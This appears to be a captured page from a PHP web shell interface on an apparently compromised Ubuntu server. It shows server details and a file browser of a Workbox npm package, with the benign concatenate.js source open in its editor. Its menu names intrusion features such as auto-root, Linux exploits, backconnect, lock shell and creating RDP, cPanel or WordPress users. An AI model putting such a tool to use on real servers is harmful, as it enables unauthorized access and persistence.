Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
workbox-streams /
[ HOME SHELL ]
Name
Size
Permission
Action
build
[ DIR ]
dr-xr-xr-x
src
[ DIR ]
dr-xr-xr-x
utils
[ DIR ]
dr-xr-xr-x
LICENSE
1.03
KB
-rw-rw-rw-
README.md
137
B
-rw-rw-rw-
_types.d.ts
186
B
-rw-rw-rw-
_types.js
673
B
-rw-rw-rw-
_types.mjs
28
B
-rw-rw-rw-
_version.d.ts
0
B
-rw-rw-rw-
_version.js
92
B
-rw-rw-rw-
_version.mjs
71
B
-rw-rw-rw-
concatenate.d.ts
782
B
-rw-rw-rw-
concatenate.js
4.8
KB
-rw-rw-rw-
concatenate.mjs
33
B
-rw-rw-rw-
concatenateToResponse.d.ts
1.02
KB
-rw-rw-rw-
concatenateToResponse.js
1.35
KB
-rw-rw-rw-
concatenateToResponse.mjs
43
B
-rw-rw-rw-
index.d.ts
413
B
-rw-rw-rw-
index.js
547
B
-rw-rw-rw-
index.mjs
27
B
-rw-rw-rw-
isSupported.d.ts
539
B
-rw-rw-rw-
isSupported.js
846
B
-rw-rw-rw-
isSupported.mjs
33
B
-rw-rw-rw-
package.json
781
B
-rw-rw-rw-
strategy.d.ts
1.19
KB
-rw-rw-rw-
strategy.js
3.02
KB
-rw-rw-rw-
strategy.mjs
30
B
-rw-rw-rw-
tsconfig.json
232
B
-rw-rw-rw-
tsconfig.tsbuildinfo
31.07
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : concatenate.js
/* Copyright 2018 Google LLC Use of this source code is governed by an MIT-style license that can be found in the LICENSE file or at https://opensource.org/licenses/MIT. */ import { assert } from 'workbox-core/_private/assert.js'; import { Deferred } from 'workbox-core/_private/Deferred.js'; import { logger } from 'workbox-core/_private/logger.js'; import { WorkboxError } from 'workbox-core/_private/WorkboxError.js'; import './_version.js'; /** * Takes either a Response, a ReadableStream, or a * [BodyInit](https://fetch.spec.whatwg.org/#bodyinit) and returns the * ReadableStreamReader object associated with it. * * @param {workbox-streams.StreamSource} source * @return {ReadableStreamReader} * @private */ function _getReaderFromSource(source) { if (source instanceof Response) { // See https://github.com/GoogleChrome/workbox/issues/2998 if (source.body) { return source.body.getReader(); } throw new WorkboxError('opaque-streams-source', { type: source.type }); } if (source instanceof ReadableStream) { return source.getReader(); } return new Response(source).body.getReader(); } /** * Takes multiple source Promises, each of which could resolve to a Response, a * ReadableStream, or a [BodyInit](https://fetch.spec.whatwg.org/#bodyinit). * * Returns an object exposing a ReadableStream with each individual stream's * data returned in sequence, along with a Promise which signals when the * stream is finished (useful for passing to a FetchEvent's waitUntil()). * * @param {Array<Promise<workbox-streams.StreamSource>>} sourcePromises * @return {Object<{done: Promise, stream: ReadableStream}>} * * @memberof workbox-streams */ function concatenate(sourcePromises) { if (process.env.NODE_ENV !== 'production') { assert.isArray(sourcePromises, { moduleName: 'workbox-streams', funcName: 'concatenate', paramName: 'sourcePromises', }); } const readerPromises = sourcePromises.map((sourcePromise) => { return Promise.resolve(sourcePromise).then((source) => { return _getReaderFromSource(source); }); }); const streamDeferred = new Deferred(); let i = 0; const logMessages = []; const stream = new ReadableStream({ pull(controller) { return readerPromises[i] .then((reader) => { if (reader instanceof ReadableStreamDefaultReader) { return reader.read(); } else { return; } }) .then((result) => { if (result === null || result === void 0 ? void 0 : result.done) { if (process.env.NODE_ENV !== 'production') { logMessages.push([ 'Reached the end of source:', sourcePromises[i], ]); } i++; if (i >= readerPromises.length) { // Log all the messages in the group at once in a single group. if (process.env.NODE_ENV !== 'production') { logger.groupCollapsed(`Concatenating ${readerPromises.length} sources.`); for (const message of logMessages) { if (Array.isArray(message)) { logger.log(...message); } else { logger.log(message); } } logger.log('Finished reading all sources.'); logger.groupEnd(); } controller.close(); streamDeferred.resolve(); return; } // The `pull` method is defined because we're inside it. return this.pull(controller); } else { controller.enqueue(result === null || result === void 0 ? void 0 : result.value); } }) .catch((error) => { if (process.env.NODE_ENV !== 'production') { logger.error('An error occurred:', error); } streamDeferred.reject(error); throw error; }); }, cancel() { if (process.env.NODE_ENV !== 'production') { logger.warn('The ReadableStream was cancelled.'); } streamDeferred.resolve(); }, }); return { done: streamDeferred.promise, stream }; } export { concatenate };
Close